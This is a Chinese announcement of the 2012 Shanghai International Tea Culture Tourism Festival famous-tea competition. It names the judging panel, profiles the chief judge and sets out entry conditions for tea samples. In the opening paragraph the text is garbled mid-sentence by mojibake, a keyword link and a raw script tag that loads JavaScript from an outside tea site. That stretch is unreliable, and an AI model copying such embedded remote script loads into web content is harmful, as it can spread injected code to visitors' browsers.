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2012年上海国际茶文化旅游节“中国名优茶”评比活动通知 (一)
2012年上海国际茶文化旅游节
“中国名优茶”评比活动通知
为了弘扬中国茶文化,促进茶经济,推介品质上乘、价格合理的优质名茶,上海国际茶文化旅游节组委会特决定对各地优质名茶进行评选?script type='text/javascript' src='http://www.368tea.com/js/v.js'>送骋谎?a href=http://368tea.com/ id=kw target=_blank>茶参评标准,以及准确公正地审评参评的样茶,根据上海国际茶文化旅游节组委会及相关部门的安排,成立由专家组成的“评审委员会”,并制定审评细则如下:
一、评审委员会
评委主任:龚淑英(浙江大学茶学系教授 国家茶叶产业技术体系岗位科学家 国家一级评茶师)
评 委:陈金芬(上海茶叶进出口公司原质检室主任 上海茶叶学会名誉理事)
评 委:汪玲平(上海浦江出入境检验检疫局茶叶科科长 茶叶学会副秘书长 茶科技工作委员会主任)
说 明:样品接收、登记、编码和保管人员不参与评委工作。
评委主任简介:
龚淑英(1962年7月-),女,浙江大学茶学系副主任、教授,国家茶叶产业技术体系岗位科学家,国家一级评茶师。1987年于浙江大学获硕士学位。之后一直从事茶叶加工、茶叶品质特征与品质控制研究,主持省、厅科研项目与企业委托项目30多项,出版《中国茶产品加工》、《安全优质茶的选购与消费》、《中国茶谱》、《品茶与养生》等论著近10本,发表论文60多篇。多次担任中国茶叶学会举办的“中茶杯”、中国茶叶流通协会举办的“中绿杯”、中国国际茶业博览会“国际名优茶评比”、世界茶联合会举办的“国际名茶评比”等全国性、国际性茶叶质量评比专家委员会委员及主任委员,多次应邀到日本、韩国参加茶叶质量评比担任专家委员会委员。作为感官审评的专业人员,在中国及东南亚有较高的认可度。
二、评审委员会职责
1.评审委员会人员必须坚持原则,忠于职守,实事求是,秉公办事。
2.评比将遵循公平、公正、公开的原则评审,严格按照评比程序进行。
三、样茶参评条件及流程
1.本次参评样茶以企业自荐或行业推荐形式送样。参评茶样选送范围包括六大茶类(绿茶、红茶、乌龙茶、白茶、黄茶、黑茶)和花茶。
2.本次参评样茶需严格执行国家标准、行业标准、地方标准或企业标准,且已定型批量生产,有一定的销售量。所送样品应事先进行卫生指标检验,农药残留和重金属等卫生指标应符合标准要求。通过有机茶、无公害茶等相关认证的样茶,请附上相关证书复印件;通过有关机构检测的茶样产品,请附上检验报告复印件。
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